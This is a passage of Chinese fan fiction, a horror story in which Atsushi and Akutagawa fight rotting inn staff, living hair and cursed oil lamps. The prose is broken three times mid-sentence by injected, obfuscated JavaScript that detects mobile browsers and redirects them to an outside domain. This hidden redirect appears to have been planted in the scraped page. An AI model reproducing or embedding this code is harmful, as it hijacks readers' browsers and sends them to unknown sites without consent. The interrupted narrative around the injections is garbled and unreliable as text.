敦一步步向前，在保证自己身处于油灯的光亮中的同时，使得这光芒稳定地投射在0429房间的门口，将那道不一样的身影清晰地映照出来。 此时此刻，那位印象中穿着整洁女仆装的服务生小姐，依旧保持着丁字步站立的优雅姿势，脸上保持着着一直既往的微笑。 然而，在油灯温暖橘光的照射下，这微笑逐渐扩大至一个夸张的地步，几乎到达耳后。 敦定睛望去，才觉察，她的两侧嘴角，竟然被用不知什么东西剪开，直挺挺地扩大了笑容弧度! 紧随其后的，是她异常的身体。 敦的疑惑并非错觉，油灯之下，她的身影的确不同。 橘黄色的光芒映照出了某种“真实”。 服务生小姐平整的女仆装布料在光芒下开裂、破碎，显得张牙舞爪——布料之下，是一个漆黑的空洞和累累白骨。 腐烂的皮肉大片大片地粘连在森森白骨上，呈现出令人作呕的灰败与暗紫色。零星白色蛆虫附着在腐肉上蠕动，粘黏着丝丝缕缕黏稠的液体。 她的颈部以一个绝对不可能的蛇形角度扭曲倒立着，仿佛曾被巨力硬生生折断，仅靠残存的腐烂筋肉勉强连接着头颅与躯干。 可最终，那颗头颅依旧被安放在这样的脖颈之上，仿佛被什么强行固定一般。 服务生小姐全然漆黑的眸子空洞至极，直勾勾地“盯”着房间内举着油灯的中岛敦。 而她整个人，即是所有恶心头发的来源。 她似乎被油灯的光灼痛了，后缩了一下，口中的语句发生变化。 沙哑的声音断断续续：“亲爱……的客人，深夜……请不要点燃……油灯，以免……影响……休息。” “呕……”强烈的视觉冲击和腐烂气味让敦胃里一阵翻江倒海，一想到他方才居然和这样的东西一本正经地交流过，炸毛小白虎就不可能平静下来。 “在下认为，你应当在这之后经受一些特别的工作培训了，人虎。”芥川冰冷的声音像一盆冰水浇下，瞬间令敦浑身激灵，强行压下了呕吐的欲望。 垂耳兔青年此刻已快速翻开了那本从橱柜里找到的新册子——《波的旅店规则手册》。 同样薄薄几张纸，芥川目光如鹰隼般扫过其上不同于明显人为留下的纸团那样，规整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962301|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的字迹，眉梢微微聚在一起。 【波的旅店规则提示：本店致力于为旅客提供宁静、安全的休憩环境，故设立以下规则，以确保各位客人的舒适体验。请各位旅客在入住前详细阅读。】 一、请确保您的房间在午夜钟声后至清晨钟响前，至少保持一盏油灯处于点燃状态。油灯是波的旅店重要的物资。 二、请尽早休息入睡，若您在此期间听到异常声响，请忽视。（不要回应，不要开门，一定要关紧窗户！！！随后是与纸团上如出一辙的凌乱字迹，被人圈出反复标记） 三、旅店服务生仅在清晨钟响后至午夜钟响前提供必要的客房服务，如补充灯油、更换蜡烛等。若您在非服务时段遇到主动提供“服务”的服务生，请无视其所有言语，并立刻点燃或靠近油灯，直至其离开。 四、请确保窗户在非必要情况下保持关闭状态。若您因极端情况必须开窗，请务必在窗沿点燃油灯。 五、当异常钟声响起时，请保持安静，尽早入睡，直至赫尔城钟声响起。（逃，快逃！这里根本不是什么……） （假的，都是假的，根本没有神明——其后的内容被人用笔反复涂抹，几乎分不清笔画，仿佛写下这些话的人正经历着十分紧迫的情况。） 六、……（后面的字迹被大团干涸发黑的血迹完全覆盖，无法辨认。其后有半页被撕下的缺口，同那个纸团严丝合缝。） “看起来，我们误入了什么不得了的时间点。”芥川合上册子，银灰色的眼眸在油灯下反射出深邃的光：“所以在下认为，你的倒霉体质根本不适合做这个。” “你这家伙，一定要在这个时候说这些吗？”敦在看清门口的东西后，转身即走：“我说，你到底知道什么了？能不能别打哑迷？” 芥川看向在失去油灯照射后恢复“正常”的身影，以及那些缠绕在敦身边，在油灯光芒外疯狂蠕动却始终不得靠近的黑色发丝，神情古怪：“在下建议你，尽快过来，并保证手里的光不要熄灭。” 话音落下，敦手中的油灯光芒突然开始明显地变暗。 同黑色发丝的平衡开始破裂。 “人虎，过来！”芥川斩钉截铁。 敦当即加快脚步。 与此同时，房间内被点燃的油灯光芒和敦手中那盏同样开始变暗。 “啧，别让这光灭掉，我们得等下一次钟响你。” 仿佛是为了印证芥川的话，房间内翻涌的发丝开始随着油灯光芒的黯淡而躁动。 同时，门口的服务生语调甜美，似乎上前一步，但始终在门框外：“您好，客人，请问您需要客房服务吗？我可以进来为您解决烦恼。” “谁需要啊，你不准动！”中岛敦两步跳回到房间这头，心有余悸还不忘回应别人的话。 但这话明显使得门口的服务生情绪不佳。 那些盘踞在阴影中的黑色发丝骤然暴动起来。 随着油灯光芒减弱，它们如同无数条黑色的毒蛇，前赴后继地向房间这头的烛火侵蚀。 “滋——” 令人牙酸的灼烧声密集响起，焦糊味瞬间浓烈了数倍。 冲在最前面的发丝瞬间炭化崩解，但后面的发丝立刻填补上来，疯狂地冲击光芒的边缘。 烛火在无数发丝的疯狂冲击下，熄灭速度肉眼可见地变快，安全的光明范围被强行压缩。 紧随其后，油灯的火苗也开始剧烈地跳动、摇曳，仿佛风中残烛，光芒变得忽明忽暗。 “这什么劣质产品？烧这么会儿就要没了？”敦脸色大变，他能感觉到手中油灯的温度在急剧变低，灯油以惊人的速度消耗着。 光明的范围被压缩，意味着他们活动的安全空间在急速缩小，那些致命的发丝正不断靠近。 “罗生门！”芥川低喝一声。漆黑的死灵之兽瞬间从他袖中咆哮而出，并非攻击，而是猛地缠绕上敦举着油灯的手臂，如同最坚韧的护甲，将他持灯的手臂牢牢固定。 同时，罗生门分出一股细流般的黑色物质，如同灵巧的触手，闪电般卷起橱柜里剩下的几盏油灯和火柴盒，送到芥川手中。 22. 神明遗迹（十八）（100收加更） 芥川的动作快如鬼魅。他一手抓住油灯，另一只手迅速划燃火柴。 霎时间，两团更明亮的橘黄色火焰几乎同时燃起。 芥川将其中一盏油灯迅速放在脚下自己与敦之间的地面上，另一盏则利用罗生门搁置在房间另一侧靠近梳妆台的角落。 被点燃的油灯散发出一种甜得腻人的香气，隐隐令使用者感到头晕。 但这点小麻烦同门口的服务生比起来，简直不值一提。 油灯在厚厚的地毯上燃烧着。 火焰发出轻微的声响。 三盏油灯各司其职，将门口区域大半被熄灭的光亮重新填补回来。 至此，整个房间变得明亮如新。 疯狂冲击的黑色发丝在这样的光照下，翻腾地愈发厉害。 凄厉的“嘶嘶”灼烧声里，黑色发丝冲击的势头最终被硬生生遏制。 光线边缘炭化的发丝余晖如同黑色的雪片紧紧粘附在地面上，不多久化为乌有。 门口的服务生腐尸似乎也被这突然增强的光明刺痛，她腐烂的面孔扭曲了一下，一只空洞无光的双眸凭空出现了“怨毒”的情绪。 在这强烈的情绪中，服务生突然后退了小半步。 她的身影随之没入门框外更深沉的黑暗里。 “看起来不错，我们是捡回一条命对吧？”中岛敦感觉手臂上罗生门缠绕得依旧紧实。 他看着重新稳定甚至更加明亮的房间，稍稍松了口气。 三个油灯的光源分担了烛火的压力，使得他们勉强能够稍作休息。 “如果事情能真的这么轻易被解决——”芥川的脸色依旧凝重如冰，他紧紧盯着门口那片蠕动的黑暗，和未知的走廊领域，目光如炬：“人虎，你说，为什么一个房间只有堪堪七盏油灯被放置在橱窗做光源替代品？” “只有光亮能令她被灼烧么？她为什么始终站在那里？还是说，她根本无法在我们不许可的情况下进来。” 话音落下，屋内的黑发蔓延速度陡然增快。 可惜，敦对于这样的思考博弈实在提不起兴趣，只在芥川话音的尾声提了一句：“也许吧？可能是他们的油灯燃料看起来不太一样也许是特殊秘方？其余地方我可从没有闻到过这样的香气。” “但不管怎么样，按这个燃烧速度，下次不知道什么时候才响起的钟声之前，我们呆在这里迟早被耗死！” 这句话宛如开启魔盒的密钥，使得芥川目光微亮。 “人虎，这些油灯的光下，似乎没有影子。” 芥川顿了顿，回忆起那本旅店规则手册，手册前的所有规则已经被映照，但他们手中的油灯作为消耗品，根本不可能长久地使用下去。 但赫尔城规则无时不刻不在强迫人们于午夜钟声之后回到旅店。 同报时钟声截然不同的，被称作“异常”的钟声不可能只响一次，前面的规则里根本没有丝毫与此相关的东西被提及。 摆在眼前的，只有被血污覆盖的后续规则可能与此相关。 要这样坐以待毙吗？ 时间在令人窒息的僵持中一分一秒流逝。三个油灯的火光成为房间内唯一的光源和生命线，橘黄的光晕对抗着门外无边无际的黑暗与蠕动发丝的恶意。 焦糊味、腐烂味、还有灯油燃烧散发出的独特气味混杂在一起，构成地狱般的氛围。 敦能清晰地听到自己心脏在胸腔里狂跳的声音，汗水浸湿了他的鬓角。 他死死握着油灯，手臂因为长时间的紧绷和罗生门的缠绕而有些发麻。 敦用眼角的余光瞥向窗棂上那些暗红色的掌印，那些疑似昨夜返回房间后的“偷渡者”们绝望挣扎的痕迹，思绪繁杂——他们是否也面临着同样的情况？他们最终逃出去了吗？还是化作了发丝上新的血块与肉屑？ “铛——铛——铛！” 两长一短三响钟声之后，二人眼前的时空出现短暂的扭曲，一切好像是油画中的场景，被泼墨其上，显得模糊而不真切。 报时钟声应声而起，十分符合他们的印象与规则记载。 沉闷、压抑，一切的负面情绪都在此刻化为乌有。 钟声之后，门口的服务生猛地抬起头颅。 她空洞眸子里骤然爆发出刺目的红光。 那些被光明压制、在阴影中蠕动的黑色发丝仿佛被注入了狂暴的兴奋剂，瞬间以比之前凶猛十倍、百倍的气势，如同黑色的海啸巨浪，疯狂地、不计代价地再次扑向敦与芥川的方向。 这一次的冲击，远超以往。 密集的，如同暴雨敲打铁皮的灼烧声连成一片，光圈剧烈地扭曲、变形、向内凹陷。 三个油灯的火苗疯狂摇曳，被压缩到极限，发出噼啪的爆响，光芒以肉眼可见的速度急剧黯淡下去。 尤其是敦手中那盏主灯，灯罩内的火焰剧烈收缩，几乎变成了一小簇蓝白色的火心，随时可能熄灭。 脚下的油灯火苗缩小了一大圈，只有被搁置在角落的那盏油灯，火光还算稳定。 一瞬间，油灯迸发出大量腻人的香气。 “呃！”敦胸口发闷。 这腻人的香味通过鼻腔，狠狠笼罩于他的脑海中，无端的恶心与窒息感让他眼前一黑。 白虎少年手臂剧震，微微趔趄，差点握不住手中那盏已极为黯淡的油灯。 一旦脱手，油灯必定会摔落打到他们脚下的那盏。 芥川余光中时刻关注着敦的情况，罗生门随心意，死死缠绕固定住白虎少年的手臂，才避免了他油灯脱手的情况。 “我说，你到底在干什么？”芥川厉声喝道。 敦手中油灯的玻璃灯罩内，灯油已经降到最低刻度线以下，仅靠灯芯在勉强燃烧。 脚下的油灯情况稍好，但也支撑不了多久。 “该死！”敦咬紧牙关，拼命集中精神维持稳定。 与此同时，他手中油灯灯芯燃烧的速度肉眼可见地在加快，那点微弱的蓝白色火心摇摇欲坠。 门口的服务生腐尸似乎也察觉到了猎物的虚弱和光明的衰退，她那嘴角的弧度显得真切许多，向前迈动一步。 阴影随着她的移动而扩张，发丝的攻势更加疯狂。 “我不知道，但是，好恶心的香味。” 敦的脑子依旧昏沉，他能感觉到，自己手里这盏灯似乎是香气弥散最严重的一盏。 “扔掉它。” 芥川夺过敦手中的油灯，利用灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不再是黑沉的一片，下方的街道上，赫尔城居民正有条不紊地做着各自的事情，如同昨日，为即将到来的“城主婚礼”做准备。 他们动作自然，表情平和，与方才二人此刻身处的凌乱房间判若两个世界。 芥川的目光落在窗棂内侧那些暗红色的、带着挣扎痕迹的掌印上，又抬头望向远处若隐若现的城中心城堡尖顶。 “暂时的。”他收回目光，声音恢复了惯有的冷冽，“一场异常钟声结束，但依照这座城的‘规则’，还有不知道多少的钟声可能响起等。” “这绝不可能是什么B+评级的遗迹，我们得尽快离开，告知森先生。” 芥川转身，看向瘫坐在地的敦，又瞥了一眼四周的油灯，橘黄色的火苗在灯罩中安静地跃动着，如同黑暗深渊中，一枚不祥的印记。 “休息一会儿吧。然后，去咨询处。”芥川的声音斩钉截铁，“真正的‘探索’，现在才开始。我们需要知道，那个‘休沐日’的婚礼，到底是什么东西——还有，遗迹出口的门。” 23. 神明遗迹（十九） 房间内散落的油灯还在持续不断散发着腻人的香气，嗅觉过于灵敏的白虎青年始终觉得头脑不甚清醒，呼吸声显而易见地沉重不堪。 “芥川，你有没有觉得，房间里有股很恶心的香味？”饶是敦再迟钝，也觉察到这种感觉并非正常。 “就是那种，很腻人的味道，里面好像还夹杂着点腐烂的气味。” 中岛敦单手撑住桌子，甩了甩头：“我总感觉喘不上气，似乎还有点晕。” 敦缓缓向芥川陈述自己的感受，顿了半晌，突然到：“这味道，好像是从……灯里传出来的？” 他有些不确定地向芥川正拿着的那盏油灯看去，猫眼眯成一条缝，那是一个极具攻击的面孔，还带着说不上来的敌意。 芥川不动声色地将那盏油灯放到窗边，罗生门还缠绕在敦的身上：“鄙人已经把它熄灭了。” “你还能闻到味道？” 敦迟疑地点头。 “啧。”芥川后牙轻轻磨动，翻手拉住敦的手臂：“既然这样，事不宜迟，我们现在就走。” “等等……你这是要去哪？”敦被芥川带着向前挪动脚步，“我们为什么不节省点时间，直接从这里出去？” 敦的手指还向着窗外，看起来真真切切有些不理解。 “你是被香味冲昏了脑袋吗？”芥川看着敦指向的方向，那扇被他狠狠关上的窗户静静地矗立在那里。 “你不是已经知道，从那里出去的那些偷渡犯都遭遇了不幸？” “那现在，钟声结束，怎么能随随便便又从那里走？特别是，鄙人和你，进入城内的方式不同，很有可能，我们现在都不一定处在同一个空间里！” 他话音落下之际，抓住中岛敦的那只手默默地加重力度，以至于瞳孔微微有些涣散的白虎少年一瞬间，仿佛被这声音穿透脑袋，清醒过来。 “你说得对。” “芥川，你觉得，我们现在经历的这些事情，像不像是，我们从一开始就进入了两个不同的空间？” “现在，只是因为我们在清晨的钟声之后，从咨询处相遇，使得我们所处的不同时空——重叠在一起，所以才会遇到这样奇怪的状况。” “原来你的脑子还没有完全被泡坏。”芥川语调讽刺，但手上的力度却不由自主地松了开。 “不管真相是什么，按照那两本该死的手册里写的那些条例，我们现在都最好离开这个地方——谁知道接下来钟声再响起的时候，还会有什么怪事发生。” “更何况，你不是对那些烧着的油灯过敏么？以你目前的状况，应该很难支持我们再用那东西了吧？” “鄙人可不想带着晕头转向的人虎在这个该死的地方横冲直撞，谁知道你再闻到这东西，还会不会拖后腿。” “什么嘛，冷脸的家伙，非要把关心的话用这么别扭的方式说出来吗？也太口不对心了。”白虎少年用前面人听不到的声音小声吐槽。 敦被芥川拉着小臂，顺从地跟着他一路从房间到达旅店走廊。 通道的两旁和昨日进来那样别无二致，依旧是精致的油画。 但在经历了方才那样难以忘却的“意外”后，敦始终觉得后背发凉。 他不由自主对两边的油画产生关注，视野里，这些或是风景，或是人脸描绘的图景似乎带着些不一样的东西。 就好像，这些画“活过来”了一样。 中岛敦莫名觉得，这些图画的质地有些眼熟。 但他想不起来。 从他和芥川相遇起，周遭的一切都变得难以解释起来。 赫尔城正向他们两名“旅客”一点一点脱下自己祥和的面具，展露出危险讯号。 “这种感觉，还真是糟糕呀。”敦微微叹气。 “你在自言自语什么？”芥川在他前方冷不丁开口，将陷入思绪的敦吓了一跳。 “没什么，只是觉得这两边的画有点奇怪。”敦迅速调整好自己的情绪，向芥川说明自己的想法。 “既然觉得奇怪，那就看看。”芥川停下向前跨步的动作，转身看着及时刹车还差点撞上来的中岛敦，松开手。 中岛敦对眼下的情况有些迷茫，无意识发出一声：“啊？” 不是忙着去咨询处找离开遗迹的线索吗？不是说现在的情况不容乐观吗？怎么还因为他随口的一句话就停下来开始漫不经心地拆解旅店通道里的画作了？ 白虎青年冥思苦想，始终没办法跟上眼前垂耳兔青年的脑回路。 芥川却并未对此多加阐述，只是挥手召唤出罗生门。 罗生门听从芥川的指令，迅速向两边的图画奔去。 被裱装好的画框被罗生门轻松取下、拆开。 油画裸露在外，在灯光中晕染出模糊的色块。 芥川漫不经心操控着罗生门的手指微微一顿，抬头看向敦：“你说得挺有道理，这些油画的画布看起来……应该是某种生物的表皮？” “还有，这些画作的涂料上，有一股和你描述的差不多的香气。” “香气？”中岛敦眉梢微微挑起，似乎有些没缓过来：“什么香气？” “你形容的，腻人、恶心、夹杂着腐烂味道的香气。” “虽然在下并不知道你所说的这种味道怎么能叫做香气，也并未闻到这种东西，但罗生门说它闻到了。” “看来，你和罗生门有同样的一套嗅觉系统。” 最后这句话也许带着一如既往的调侃和对中岛敦的习惯性嘲讽，但白虎青年向来最会装作没听到，直接滑过他的最后一句话，上前蹲下，准备去捡那幅被罗生门拆开的油画。 但他伸出的手被罗生门拦下了。 “嗯？”敦疑惑地抬头，看向芥川。 “你不是说闻到这股味道会影响自己的正常行动么？”芥川挑眉：“在下可不希望接下来得让罗生门拖着你走。” “放心啦，我只是确认一下。”敦当即眯眼笑开，看起来傻乎乎的：“我保证，只是闻一下就撤开，你大可以让罗生门把画举起来，一定不会影响到我们接下来的行动的。” 芥川实在受不了人虎这副看起来就不太聪明的表情，冷脸：“如果你直接晕过去，这次，我一定不会让罗生门再管你。” 漆黑的罗生门卷起地上的油画，颇为嫌弃地靠近敦。 敦适时地凑上去，轻轻嗅了一下在芥川形容中的气味。 和先前房间中的味道如出一辙。 芥川在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蔓延的色块在他们之后穷追不舍，敦在奔跑的空隙中分出余光看向身后，墙面上，那些随着色块蔓延而波及到的油画仿佛“活”了过来。 画作中的人影从深处转瞬出现在最前的位置，占据了整张画布，随后，是密密麻麻的眼睛，从闭眼陡然睁开。 最内侧那张图画中正在庆祝婚礼的人们陡然180度转头，怨毒地巡视着色块所过之处所有的走廊景色。 而地面上，那幅被拆开的油画，在色块蔓延过来触摸到的同一时间，竟然消失不见。 敦的动态视力实在太好，以至于在一瞬间，他就找到了，色块之后的某幅油画之中突兀地多出的一张散开的画框像。 “我就说这是活的吧!”敦转头，奔跑的速度快了一倍，登时超过了芥川：“何止是活的，它们还会吞东西啊!” 他的身后，芥川速度不减，甚至开始利用罗生门加速作弊。 两人一前一后，在走廊尽头里，将自己扔进了下一层的楼道。 24. 神明遗迹（二十） 波的旅店的一层大厅内，烛火通明。 橙黄色的光芒却无法给人带来任何的温暖感觉，其中映出的斑斑色块反而令人想起不妙的过往。 身后泼墨般的颜色早在芥川与敦二人冲入楼道后就消失不见，他们几乎用堪称狼狈的姿态互殴着一路滚到一层，却在将要踏入大厅的那一刻默契地驻足不前。 奇怪的时间里，波的旅店的大厅内空无一人。 摆放完善的桌椅依照固定的配比均匀地占据了大厅内空间的一席之地。 不远处的大门上清晰地挂出了“歇业”的休息木牌，一盏油灯正正挂在门上，散发着和烛火截然不同的光晕。 不同于楼上橱柜中的油灯，这盏灯没有丝毫气味散出，燃烧着的灯油久久没有下降。 这应当是一个处在歇业状态的一层旅店应当有的状态，但这些桌子上，却无一不摆放着盛满食物的盘、碗。 倘若仔细地观察，一定能看见那些桌子旁，有部分椅子的位置稍稍靠后，就好像，正有什么人坐在那里，享用桌上的美食。 “喂，你也看到了吧？”敦趴在楼梯栏杆上。 好巧不巧，楼道与大厅之间，同样是光与暗交界的一条分界线，泾渭分明。 敦遥遥地看向那些普通的桌椅，后槽牙发酸：“刚才那些桌子上的东西，一定是被动过，对吧？” 他的视野所及，最靠近楼道的那张桌子上，精心准备的菜肴微不可查地少了一部分。 不仅如此，其余的桌面上同样有着相似的事情发生。 在这空空荡荡的大厅内，这一切看起来诡异至极。 “魔法也用不起来，这地方简直比你们这些学亡灵系魔法的家伙还要阴森。” 连续的高强度逃命状态下，使得敦在这短暂的空闲时机里，不假思索将自己脑子里所想一一叙述。 即便他意识到不对，及时刹车，也为时已晚。 中岛敦用余光悄悄地瞥芥川龙之介，对方看起来没什么特别的反馈，但白虎青年的脸上还是挂着尴尬而不失礼貌的呆傻笑容。 “那个，我说，我只是一时大意，嘴瓢说错话，你相信吗？” 芥川抬眼勉为其难地瞅了瞅因为脱力与不适而被迫倚靠着楼道栏杆的敦，嘴里的话冷酷无情：“得罪了，在下也只是一时大意。” 在敦不明所以之际，芥川身上短暂缠绕着的罗生门应声而动，下一刻，就将毫无防备的白虎青年推入光亮之中。 “亲爱的客人——” 敦在震惊地如同被暴揍飞出去的风筝过程中，还是没忍住回头，视线里，他原本站立的位置出现了一颗披散头发，表情僵硬，细长的脖颈一直从楼道深处缠绕着向下，宛如水蛇的头颅。 只见头颅与脖颈。 而芥川，则在那颗头颅出现发声的统一时刻，跟随者敦一起，进入波的旅店的大厅。 “草。”那声积压许久的辱骂，最终还是落了地。 “所以我说，你这家伙，一定是有什么恶趣味吧——”吐槽在白虎青年拼尽全力以双手触地保护脸面的情况下倾泻而出，却只有半截，戛然而止。 敦的目光里，四周的一切几乎在顷刻间如同被泼染的油画铺展开来。 波的旅店的大厅内，这些原本空荡荡的椅子上，凭空出现了一部分“人”。 这些“人”仿佛是被未画完整的败笔，不是缺少半边头颅，就是少了部分躯体，更不用提四肢毫不对称，甚至同向的那些东西。 但“他们”正满足地享受着桌上的美食，囫囵吞枣间，那些缺损的部分里好像有七色的光彩涌动。 桌面上被称为“菜肴”的食物就这么被这些“人”通过那些缺损的地方喂进去，变成团团的黑色物体，消失在涌动的光彩之中。 在这机械的动作里，相邻的桌子间几名服务生正端着餐盘，源源不断为这些“客人”们送上美食，他们不知疲倦地重复着这些动作。 泼染的油画还在蔓延，淡金色的绸带、质感坚硬的花朵被点缀在大厅的不同位置，倒立的十字雕刻不起眼地被放在角落…… 芥川终于知道，方才在楼道中看见的大厅究竟有什么违和感。 在黑暗中，朝大厅里看的那一眼，展现的一切——和地面完全相接的桌椅脚，连在一起的色块，就像是画家还没有完成的画作，看起来古怪至极。 当他们闯入这里时，这幅画作的主人就像突然想起了一般，开始向其间填充事物。 但祂填充的技术显然不怎么样，创造出来的东西每每缺损了其中一个部分，再加上僵硬的面容和重复性的动作，这个波的旅店的大厅此时此刻，就像在出演一出荒诞的默剧。 没有丝毫推杯换盏、刀叉碰撞的声音在其间被发出。 “芥川，这什么东西？”敦也意识到眼前的一切不算正常，疑心出声。 但敦立刻闭嘴了——大厅里静谧的场景好像被他方才的话语惊扰到，所有的“人”在同一时刻放下了自己正在进行的事，转而望向了声源处。 原本送餐的服务生们的动作顿住一晌，转而扭转过下半部分的身体，以一种完全不可能的姿态，上下的身体以完全相反的方向，向着敦的所在地而来。 好像，闯祸了。 敦尴尬地咧开嘴，露出上半的牙，整个人显得局促不安。 随着服务生越来越近，那些停下的“客人”又重新恢复了自己机械的进食动作。 看着这些残缺身体部件的东西一点点靠近，芥川当即向侧面后退。 敦紧随其后。 尽管两人的动作十分迅速，但这些连完整头颅都没有的服务生却没有半点落下。 他们行走的动作并不快，却始终没有让芥川、敦与之拉开距离。 “不对。”芥川皱眉。 眼前的一切都太过奇怪。 这些看起来不够稳定的服务生好像随时都处在崩溃的边缘，他们加速所过之处，缺损部位的七色光彩受到波及，涌动出点点的色调。 这些零碎的颜色斑点滴落的地方，均落下被腐蚀的细小黑洞，而这些黑洞在不久后凝集，内部重新涌动出和这些缺损的“人”身体里如出一辙的七色光彩——就好像，它们在以此进行一场盛大的同化。 这些星星点点，从服务生身体中涌动出的颜色，随意地滴落在桌面、椅子、菜肴、地面，甚至坐着进食的“人”身上，但他们均无一所觉。 而这些机械进食的客人们没有在服务生行动后再露出半点异样，但倘若是因为敦的一句话从而使得这些服务生突然找到目标从而进行针对，显然不够合理。 因为这之后，敦没再说过话。 等等，没再说过话，没再发声——但他们的行动却不可能没有丁点的声音发出！ 急速后退的每一步，或是破空声，或是风声，即便芥川与敦两人的训练素质良好，有着极强的身体控制能力，却依旧不可能在运动的过程中，不依靠魔法不发出任何的声音。 追本溯源，早在他们从楼道中跌落至大厅，就已经发出了声响！ 而周遭的一切仿佛“油画”改变的变化，都是在那之后展开的东西，只是他们误以为，这一切是由中岛敦的一句无心话激发的！ 【波的旅店守则第五条：当异常钟声响起时，请保持安静，尽早入睡，直至赫尔城钟声响起。】 倘若他们现在仍属于波的旅店的客人，自然应该遵守守则的规则。 不论是保持安静，还是尽早入睡，显然他们现在，都属于违规人员！ 但这该死的钟声响起的时间根本算不上合适，仅仅是踏出房间一段时间，就再度响起，宛如索命之音，迫不及待要将所有赫尔城的“旅客”拉入地狱。 这些步步逼近的服务生显然没想要放过眼前的两人，前行的动作没有分毫的减缓，而随着他们越来越靠近，他们显而易见地兴奋起来，缺损部位里涌动出的色彩愈发地丰富，数量也愈发庞大。 哪怕这些涌动出的色彩甚至已经流淌到他们自己本身的躯体上，腐蚀出的黑洞使得他们的腿藕断丝连，但这些服务生依旧以一种难以理解的方式“正常”地行动者。 服务生的上半部分躯体依旧托举着餐盘，其上的食物看起来带着“塑化”的油墨光彩，说不上诱人。 他们的后脑勺正对着芥川与敦，下半部分的躯体却是鞋尖向后。 此时此刻，除却闯入的芥川与敦，整个波的旅店的大厅之中的“人”都好像是被人驱使着行动的亡灵，但在遗迹之外，作为亡灵法师的芥川龙之介却很清楚，整个亡灵系，根本没有这种已经改变了“尸体”构造，还能让他们行动自如，甚至说出话的亡灵魔法。 这一切，就好像是真正的“神迹”，在不应当的地方，错误地呈现了出来。 但这根本就是颠覆了属于“生命”与“死亡”的秩序！ 根本不用押注于去正面对对碰这些该死的“人”，芥川的衣角在方才的行动中无意曾擦到这些色彩，立刻便有缚骨一般的黑洞被腐蚀出。 芥川甚至只来得及让罗生门沿着那一部分的衣角整个削掉。 显而易见，倘若他和敦不能够将自己从被服务生盯上的困境中摘出来，他们迟早会变成肢体残缺的这些“人”中的一员。 “还真是，很糟糕的情况。”芥川闷咳两声。 在服务生毫无逻辑的追赶路线中，两人逐渐从楼梯口的角落闪身靠近向旅店相对的另一方向，在途径旅店前台的一瞬间，芥川的脑海中白光乍现。 他持续着旅店大门方向迈进的脚步顿住，突然向着前台处大喊出声：“你好，退房。” 场面霎时陷入一片沉寂。 持续向前的服务生停下了前进的步子，持续不断涌出的色彩在一瞬间被悉数吞噬回去，藕断丝连的点点色光即便滴落在其他地方，也没有继续腐蚀的迹象。 而进食着的“客人”们则统一地转头。 他们无机质的目光牢牢盯着正在前台处发表自己意见的芥川龙之介，面无表情。 整个波的旅店的大厅看起来渗人至极。 赌对了。 “哦哦，你好你好，我们俩要退房。” 在这样的场景下，中岛敦率先反应过来，直挺挺凑上前，站在芥川并排的位置眯眼傻笑：“请问有人在吗？” “您好，尊贵的客人，请问您有什么需要帮助的吗？”站在芥川十步之遥，最近的那名服务生僵硬着笑容，率先上前发出疑问。 她是方才的行动中最快的一个，波浪的长发掩盖住整个背部，带着漂亮的女仆头饰，声调甜美。 倘若不是此刻，她正用后脑勺对着芥川发出声音，场面应当不至于陷入胶着。 但显然芥川算不上一个怜香惜玉的人。 他看着服务生小姐提出质疑：“你们店内的员工都喜欢用后脑勺对着客人，以此提供服务的吗？” 服务生小姐的身躯肉眼可见地颤动了一下。 但她还是缓缓地将自己的上半躯体扭转了过来。 “嘶——”敦在看清这位服务生小姐转过来的全貌后倒吸一口凉气。 与预想中的状况略有出入，这位服务生小姐的整张脸都是一个黑黢黢的洞，其间的七色光彩如同小弧度的波涛静静地涌动着。 这些光彩显然和服务生小姐的心情息息相关，在听见了敦无意识发出的声音后，被收在她整张脸上洞口内的七色光彩愤怒地翻涌了一个面。 服务生小姐稳稳地托举着自己手中地餐盘，她的头微不可闻地朝中岛敦所在的方向偏去几度。 敦的尾巴毛顿时炸开，芥川不动声色地朝敦的方向站了一点，半遮住了服务生小姐“炯炯”色彩光针对的对象。 “先生，请问您有什么需要帮助的吗？”服务生小姐重复了自己的疑问。 “现在的天色还算不错，请问先生需要来份餐点吗？” “鄙人认为，鄙人已经将诉求阐述得十分清楚，我们想要退房。”芥川淡淡。 “啊，先生，请问是我们的服务让您感到不适了吗？这样好的时间，您才入住不久，就需要退房吗？”服务生小姐的声音显得愈发不真切。 她的语调依旧甜美动人，但面部洞口中翻动着的七色光彩却预兆了这份甜美中的不稳定。 “是的，我们要退房。”芥川对此感到不耐烦。 重复的次数过多，裸露在外的罗生门也不安地躁动起来。 但芥川依旧复述着自己的要求。 一片沉静的波的旅店大厅内，有着无数道投向芥川与敦的视线，这些无机质的目光中蕴含着什么样的用意，他们并不想要细致探究。 当务之急，是尽快从这个看起来就不正常的地方离开。 两个人与整个波的旅店的对峙不同寻常，在服务生小姐不厌其烦的试探里，她似乎终于感受到了芥川和敦的坚定决心，略显遗憾地叹了口气 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烛火下，这张脸上的阴影、棱角分明的眉眼、寡淡的唇鼻都没有一丝一毫的改变，标准且无可指摘。 在面对自己旅店的客人时，又会恰如其分地挂上合适的笑容，以求为客人带来良好的服务。 好像一切都和他昨日体验到的分毫未差，但他们眼下所处的环境又清楚地提醒两人，一切都已截然不同。 敦轻轻咬了咬自己的指骨。 